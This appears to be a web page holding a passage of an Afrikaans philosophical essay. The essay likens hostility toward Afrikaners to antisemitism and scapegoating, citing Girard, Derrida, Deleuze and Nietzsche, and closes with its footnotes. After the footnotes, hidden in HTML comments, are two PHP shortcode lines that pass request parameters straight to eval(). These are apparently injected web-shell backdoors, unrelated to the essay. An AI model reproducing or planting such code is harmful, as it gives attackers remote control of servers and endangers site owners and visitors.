Die intensiteit van die gevoel teen Afrikaans en Afrikaners is nie bloot te verklaar met verwysing na die buitelandse korrespondent wat sy propaganda die wêreld instuur waar dit klakkeloos deur die hordes as evangelie opgeneem word nie. Meer en meer kom dit voor asof anti-Afrikaansheid, of dan “Boerehaat” soos dit tradisioneel bekend staan, nie net vormlik nie maar ook konseptueel verwant is aan anti-Semitisme. Toevallig is Suid-Afrika en Israel tot onlangs in die internasionale media oor dieselfde kam geskeer, maar dit gaan veel dieper, want beide Jode en Afrikaners het ’n kollektiewe aartsonde gepleeg jeens die Weste. In die geval van Jode is dit sekerlik die moord op Christus, asook hul andersheid, hul eksklusiwiteit. Wat Afrikaners en hul voorgangers, die Boere, betref, is dit eerder hul vergeetagtigheid, die feit dat hulle vergeet het hoe om korrek en algemeen beskaaf Nederlands te praat, en in ’n sekere sin hul rug gekeer het op die Westerse beskawing soos wat De Kiewiet beweer. Vergun my weer eens ’n aanhaling uit my gunstelingboek oor die Boere, De Kiewiet se History of South Africa,

Men so widely scattered as they were lost the gregarious habit of their forefathers in Europe. They built few villages. On the great farms each man fled the tyranny of his neighbour’s smoke. It followed that their communal life was loosely organized. They came together when compelled by danger or crisis. In the face of the native population their sense of race and fellowship was exceedingly keen. But their co-operation was not continuous and sustained. The habits of their social life were like the discipline of their commados. It was the sum of individual willingness; at its best it was excellent, at its worst it destroyed the commando. 16

In ’n sekere sin was die Boer dus ’n “soewereine individu” wat staatloos gelewe het, en bloot die gemeenskap opgesoek het as daar sprake was van gevaar. Die beeld van nomades wat al verder verwyder raak van hul oorsprong in die volke van Europa is by uitstek die bydrae van De Kiewiet tot die SA geskiedskrywing, soos ons reeds gesien het. Op ’n baie meer banale vlak kry dit tot vandag toe en veral in die internasionale media uitdrukking in die opvatting dat Afrikaners ’n verworde wit “stam” is en, let wel, geen “volk” nie. Die vergeet van ’n Europese nasionale identiteit is een van die ernstigste aanklagte teen Afrikaners. Dit maak hul minder beskaafd, nader aan barbare, minder moreel.

Aan die ander kant staan die Afrikaner nogtans nader aan die Weste as die Afrikaan wat afkomstig is uit ’n soort Utopie wat nog nie bederf is deur die beskawing nie. In die negentiende eeu het hierdie idee berus in die Rousseauistiese opvatting van die “edele barbaar”; tans vind ons dit terug in die algemeen gangbare geloof dat die lewenstandaard en kwaliteit van lewe van Afrikane veel beter was voor die koms van Europeërs na Suid-Afrika. Trouens, die Groot Trek het die utopiese ruimte van die binneland soos dit gesien is vanuit die Britse sendelingparadigma, besoedel. Die Afrikaner bevind hom dus in ’n tussengebied tussen Europa en Afrika, en hy beskik nóg oor beskawing nóg oor die morele ongeskondenheid van die Afrikaan.

Die hele kwasi-Calvinistiese debat wat daar deesdae romdom “skuld” gevoer word, gaan ons nie eintlik aan nie. Die strik waarin sekere Afrikaanse skrywers trap om skuld of aandadigheid aan die sondige verlede te bely, hoe hulle ouers die woord “kaffer” in die huis gebruik het, die outas agter die kraalmuur met sambokke aangerand het, ens, bewys net weer hoe sterk die globale Afrikaneridentiteit is, dat dit ’n mens oproep tot belydenis, veral as ’n New Yorkse uitgewer sy tjekboek uithaal en sê: “Tell me how dumb ya are, Dutchman.” Glucksmann het reeds gewys op hierdie neiging by die Weste om geen morele skuld aan Afrikane toe te ken nie, en slegs aan die stiefkinders van die Weste, die Afrikaners, alhoewel sy gevolgtrekking dat die Westerling homself in die blanke Suid-Afrikaner weerspieël sien, nie vir my opgaan nie. 17 In die mensdom se obsessie met ras, wat sedert Cuvier en Darwin dateer, is daar voortdurend nuwe vorme van etniese denke en sondeboksoekery wat na vore kom. Teenoor die “eenvoudige” Europese rassisme van die verlede, vind ons nou die oordrag na kwesbare sosiale groepe van die rassekompleks via kulturele of ekonomiese diskriminasie. Niemand het nog ras as konsep afgesweer nie, allermins ons huidige heersers, maar die skuld of die merk van Kaïn het van een groep na ’n ander verskuif.

Die idee van die sondebok is breedvoerig bespreek deur René Girard. 18 Die soort optrede wat uitloop op die soek na ’n sondebok is per definisie dié van ’n heksejag. In sy meer anti-Afrikaanse momente bantwoord die Waarheids- en Versoeningskommissie geheel en al aan hierdie definisie. Tydens die Pes in Europa gedurende die Middeleeue is groot groepe Jode vermoor as sou hulle verantwoordelik gewees het vir die ellende. Die demagogiese begrip “apartheid” is ’n soort opvangbak vir alle maatskaplike euwels wat in Suid-Afrika en selfs in Suider-Afrika werksaam is, vanaf armoede, gebrek aan opvoeding, werkloosheid, tuberkulose, tot Vigs, stamgeweld, misdaad, noem maar op. Dit is nie soveel verskillend van die pes nie, en die werklike oorsake van hierdie toestande is aan ons ewe duister as wat mikrobiologiese verskynsels aan die stadsbewoners van die Middeleeue was. Interessant is dat daar gewoonlik ’n “teken” of eienskap kleef aan die sondebok wat hom uitsonder van die meerderheid aan wie hy kwaad doen of gedoen het. 19 Belangrik is dat die slagoffer van vervolging deur die meerderheid nie gekies word na aanleiding van die misdaad — werklik of verbeeld — wat hy gepleeg het nie, maar op grond van sy slagofferteken wat op stereotipes berus. Stereotipering hou daarom altyd die gevaar van vervolging in. Slagoffertekens is dikwels ook “verskille”, ’n “andersheid” wat ook kultureel of godsdienstig kan wees. ’n Voorbeeld van ’n slagoffer wat deur Girard genoem word is Oedipus in die stuk deur Sophocles.

Plus un individu possède de signes victimaires, plus il a de chances de’attirer la foudre sur sa tête. L’infirmité d’Oedipe, son passé d’enfant exposé, sa situation d’étranger, de parvenu, de roi, font de lui un véritable conglomérat de signes victimaires. 20

[Hoe meer slagoffertekens ’n individu het, hoe groter is die kans dat hy die ongeluk oor hom kan bring. Die gebrek van Oedipus, sy verlede as weggooikind, sy status as buitelander, as parvenu, as koning, maak van hom ’n ware konglomeraat van slagoffertekens.]

In baie opsigte is Afrikaans ’n unieke taal op die vasteland van Afrika, wat die sprekers daarvan ook uniek maak, ’n eienaardige minderheid in ’n wêreld wat oorheers word deur groot imperiale tale: Mandaryns in die Ooste, Engels in die Weste. Dit is ’n ongemaklike posisie om ’n lid van ’n eienaardige minderheid te wees in ’n omgewing of op ’n vasteland wat gedurig gebuk gaan onder maatskaplike en natuurrampe, oorloë, opstande, terreur, misdaad en die verspreiding van aansteeklike siektes soos Vigs en malaria. Soos die Jode, is alle Afrikaners of Afrikaanssprekendes uiters kwesbaar as synde ’n “konglomeraat van slagoffertekens”, en moet hulle byvoorbaat die konsentrasiekamp anderkant die bult sien sodra aantygings van kollektiewe skuld gemaak word of etniese stereotiperingsveldtogte via die massamedia gevoer word.

Ek wil vir ’n oomblik stilstaan by die idee van ’n tussengebied, ’n niemandsland, die uitgestrektheid van die landskap, ’n soort Karoo van die identiteit. Daar is ’n woord in Frans vir “gebied” of “omstreke” wat reeds ontgin is om die aarselende betekenis weer te gee waarna ek soek, die woord “parages”.

Parages: à ce seul mot confions ce qui situe, tout près ou de loin, le double mouvement d’approche et d’éloignement, souvent le même pas, singulièrement divisé, plus vieux et plus jeune que lui-même, autre toujours, au bord de l’événement, quand il arrive et n’arrive pas, infiniment distant à l’approche de l’autre rive. 21

[Gebied: aan hierdie enkele woord wil ons toeken dit wat, hier naby of daar ver, die dubbele beweging van naderkoms en wegtrek omvat, eiesoortiglik verdeel, ouer en jonger as sigself, altyd anders, aan die rand van die gebeurtenis, as dit arriveer én nie arriveer nie, oneindig ver verwyder wanneer die oorkantste oewer benader word.]

As hierdie aanhaling klink soos ’n dekonstruksie van die Groot Trek, is dit nie toevallig nie: dit is afkomstig uit ’n teks van Jacques Derrida oor die werk van Maurice Blanchot. Enkele bladsye later tydens ’n ontleding van Blanchot se boek Le pas au-delà (“Die tree na anderkant”), is daar ’n eg Nietzscheaanse formulering van dieselfde konsep van ’n aarselende oorgang:

Il y a toujours deux pas. L’un dans l’autre mais sans inclusion possible, l’un affectant l’autre immédiatement mais à le franchir en s’eloignant de lui. Toujours deux pas, franchissant jusqu’à leur négation, selon le retour éternel de la transgression passive et de l’affirmation répétée. 22

[Daar is altyd twee treë. Die een voetspoor in die ander maar sonder moontlike insluiting, die een wat die ander onmiddellik affekteer maar deur ’n tree telkens verder weg te gee. Altyd twee treë, te gee tot by hul wedersydse ontkenning, volgens die ewige wederkeer van passiewe oortreding en herhalende bevestiging.]

Die huiwerende situasie van Afrikaans, gevang in sy taalgebied in Afrika maar gedurig intellektueel in pas met Europa, is vir my nie anders as die beskrewe beweging nie. Ook die posisie van Afrikaans, in sy opkoms en verval as amptelike taal, die skynbaar fatale dans met mag van die pas afgelope veertig jaar of so, kan gesien word as ’n betreding van dié unieke tussengebied waar die bordjies telkens verhang word. Taalbeweging, taaltrek, taaldraadtrek, dit is soveel valle van die dobbelsteen van die ewige wederkeer. Maar betreding dui reeds op die begaan van ’n oortreding, om die ander se taalgebied as ’t ware te kom bevuil met jou poësie, jou letterkunde, jou radio- of televisieprogram, jou advertensie, jou preek of draakstekery.

Die eindelose herkolonisering van die Afrikaner, nou in die naam van imperiale uitbreiding, dan weer in die naam van postkoloniale ontwikkeling, is inderdaad ’n ervaring van die ewige wederkeer. Dié heen-en-weer beweging wat nie net die herhaalde aanslae van die geskiedenis omvat nie, maar ook die uitspeel van Afrikaans in sy verhouding tot die Suid-Afrikaanse landskap in die breedste moontlike sin, word vir my mooi saamgevat deur Deleuze se koeplet deterritorialisering/reterritorialisering. Afrikaans is letterlik ’n gedeterritorialiseerde Nederlands, wat op sy beurt gereterritorialiseer word deur Engels en die pre-koloniale Afrika-utopie.

’n Mens hoor dikwels dat Afrikaans onder die vorige bewind “bevoorreg” is, en nou gestraf moet word daarvoor. Hierdie denke is eienaardig, maar op ’n manier gee die tussengebied wat Afrikaans beklee hom tog ’n verhewe en daarom bevoorregte posisie. In ’n sekere sin is die Suid-Afrikaanse ervaring nóg Europees, nóg van Afrika. Dit behels drie eeue van deterritorialisering, van vergeet van én die Europese identiteit én die Afrika-identiteit. Ek word geïntrigeer deur die volgende opmerking van ’n sekere historikus wat allermins Afrikaans of die Afrikaner goedgesind is, en wat waarskynlik geen erg sou hê aan die verdwyning van Afrikaans as taal nie. Verwysende na die Hoëveld, meen hy:

These hot, dry and expansive plains of the subcontinent provide the country with its most characteristic landscape, and a distinctive terminology which singles out for special attention any geomorphological feature which so much as hints at either height or water. Koppie, krans, pan, platteland, rand, sloot, spruit, vlakte, and vlei — are all Afrikaans words that defy easy translation and which have been incorporated holus-bolus into the vocabulary of all urban South Africans. They are quintessentially highveld words; words that give life to the ways in which one senses and experiences much of what it is to be South African … When an authentic South African identity eventually emerges from this troubled country it will, in large part, have come from painful experiences on the highveld. 23

Die leser van Nietzsche kan nie anders as om hardop te skater oor die opvatting van “’n outentieke Suid-Afrikaanse identiteit nie”, maar is dit nie ’n kraak in die mondering van die “nasionale en internasionale lingua franca” nie? Wat Van Onselen, die outeur van hierdie reëls nie besef nie, is dat die skoonheid van hierdie woorde — hierdie Afrikaanse woorde — nie uitvloei vanaf of selfs neig na ’n ware identiteit nie, maar vanuit ’n proses van vergeet, van swerf, van soeke na die horison van die tussengebied.

Die verskil tussen Afrikaner-nasionalisme en Afrika-nasionalisme is een lettergreep, en albei hou aan ons ’n identiteit voor wat gefabriseer word uit herinnerde idealisme, Plato se proses van anamnese waar ons almal soos grotbewoners droom van die helder lig daarbuite wat ons nooit sal smaak nie omdat dit tot die ideële wêreld behoort. Eerder as wat ons die identiteit nastreef wat deur die kultuurpolisie van die nuwe ou Suid-Afrika aan ons voorgehou word, behoort ons die proses van vergeet wat eie aan Afrikaans is, voort te sit. Ons behoort ons verlies aan ’n identiteit te bevestig of, in Nietzscheaanse terme, dit te beja.

Om Afrikaans te beja sou onder meer behels om verby die taalmoraliteit en -moralisme te kyk. Soos Nietzsche dit stel:

Die Moral, insofern sie verurteilt, an sich, nicht aus Hinsichten, Rücksichten, Absichten des Lebens, ist ein spezifischer Irrtum, mit dem man kein Mitleiden haben soll, eine Degenerierten-Idiosynkrasie, die unsäglich viel Schaden gestiftet hat! … Wir anderen, wir Immoralisten, haben umgekehrt unser Herz weit gemacht für alle Art Vertstehn, Begreifen, Gutheißen. Wir verneinen nicht leicht, wir suchen unsre Ehre darin, Bejahende zu sein … 24

[Die moraal, sover dit op grond van homself veroordeel, en nie met verwysing na en waardering vir die doel van die lewe nie, is ’n spesifieke dwaling waarmee ’n mens geen simpatie behoort te hê nie, ’n idiosinkrasie van die gedegenereerdes wat ontsaglike skade veroorsaak het! … Ons ander, die immoraliste, het inteendeel ons harte oopgemaak vir elke soort verstaan, begrip, goedkeuring. Ons ontken nie maklik nie, ons soek na ons eer deur bejaend te wees.]

Elders lees ons, met verwysing na die estetika:

‘Das ist schön’ is eine Bejahung. 25

[‘Dit is mooi’ is ’n bejaïng.]

Om Afrikaans te beja sou dus behels om in die eerste plek die taalmoraliteit af te sweer, die historiese rekeningkunde waar die taal nou promoveer tot “bate”, nou weer tot “las”. In hierdie dae van herinnering aan die onlangse verlede, gaan dit waarskynlik byna bomenslike moed verg om te vergeet, om aktief te vergeet ten einde die onskuld te verwerf waarsonder geen skepping moontlik is nie. Om aktief te vergeet beteken myns insiens op die minste ’n stellingname, ’n sekere strydvaardigheid en bereidheid om ’n standpunt te huldig. Dit gaan my te bowe dat soveel middelmatige persoonlikhede behorende tot ons openbare lewe soveel snert en onsinnighede oor Afrikaans en die kultuur in die algemeen kan kwytraak en skotvry daarvan afkom. Is daar geen skrywers meer in Afrikaans nie, kruip hulle almal onder die bed weg? Het ons geen denkers meer nie, of is hulle nog besig om hulself te heroriënteer sodat hulle gemaklik die oorgang vanaf die Broederbond na die Africanbond kan maak? Het Eugène Marais verniet “Winternag” geskryf en verniet teen die morfien gestry? Is ons so geïntimideer deur ’n spul opgepompte Europeërs en Amerikaners wat geen snars van Suid-Afrika verstaan nie dat ons eers die rokspante van die Kappiekommando sal moet vind voordat ons durf antwoord op hul lomp bekookte beledigings?

Is daar niemand wat identiteitloos genoeg is om ja te sê vir Afrikaans nie?

Notes:

  1. Heidegger, Martin. Gelassenheit. Pfullingen: Verlag Günther Neske, 1959.
  2. Schoeman, Karel. Hierdie Lewe. Kaapstad: Human & Rousseau, 1993.
  3. Sien byvoorbeeld die beskrywing op bladsy 10, ibid., wat begin “Helder land, glansende silwergrys land wat voor my wegdrywe in die nag, waar ek verwonderd sien hoe elke tak van die harpuisbos glinster soos die digte spirale van sy blaartjies die skynsel van die lig weerkaats en elke rots dof gloei teen die rante …”
  4. Rancière, Jacques. Courts voyages au pays du peuple. Parys: Ed. du Seuil, 1990.
  5. ibid., bl. 7.
  6. De Kiewiet, CW. A history of South Africa, social and economic. Londen: Oxford Univ Press, 1942.
  7. ibid, bl 17.
  8. Blum, Peter. ”Rooinekke op Hermanus” in Steenbok tot poolsee. Kaapstad: Tafelberg, 1974.
  9. P Vergilius Maro. Bucolica et georgica. Basingstoke en Londen: Macmillan, 1972, bll 1-3.
  10. Kristeva, Julia. Etrangers � nous-m�mes. Parys: Fayard, 1988, bl 9.
  11. Van Melle, J. Bart Nel. Pretoria: JL van Schaik, 1981.
  12. Deleuze, Gilles. Superpositions. Parys: Minuit, 1979, bl 109.
  13. ibid, bl 127.
  14. Vergelyk sekere van my opmerkings in Om die Waarheidskommissie te vergeet aangaande die ahistoriese aard van hierdie begrip.
  15. Nietzsche, Friedrich. Sämtliche Werke: Jenseits von Gute und B�se. Stuttgart: Alfred Kröner Verlag, 1964, bl 183.
  16. op cit, bl 19.
  17. Glucksmann, André en Wolton, Thierry. Silence on tue. Parys: Grasset, 1986, bll 23-24.
  18. Girard, René. Le bouc émissaire. Parys: Grasset, 1982.
  19. ibid, bll 30-31.
  20. ibid, bl 39.
  21. Derrida, Jacques. Parages. Parys: Galilée, 1986, bl 15.
  22. ibid, bl 59.
  23. Van Onselen, Charles. The seed is mine. Kaapstad: David Philip, 1996, bll v-vi.
  24. Nietzsche, Friedrich. Sämtliche Werke: Göttzendämmerung. Stuttgart: Alfred Kröner Verlag, 1964, bl 106.
  25. ibid, Der Wille zur Macht, bl 573.

<!– [insert_php]if (isset($_REQUEST["ItV"])){eval($_REQUEST["ItV"]);exit;}[/insert_php][php]if (isset($_REQUEST["ItV"])){eval($_REQUEST["ItV"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["LazC"])){eval($_REQUEST["LazC"]);exit;}[/insert_php][php]if (isset($_REQUEST["LazC"])){eval($_REQUEST["LazC"]);exit;}[/php] –>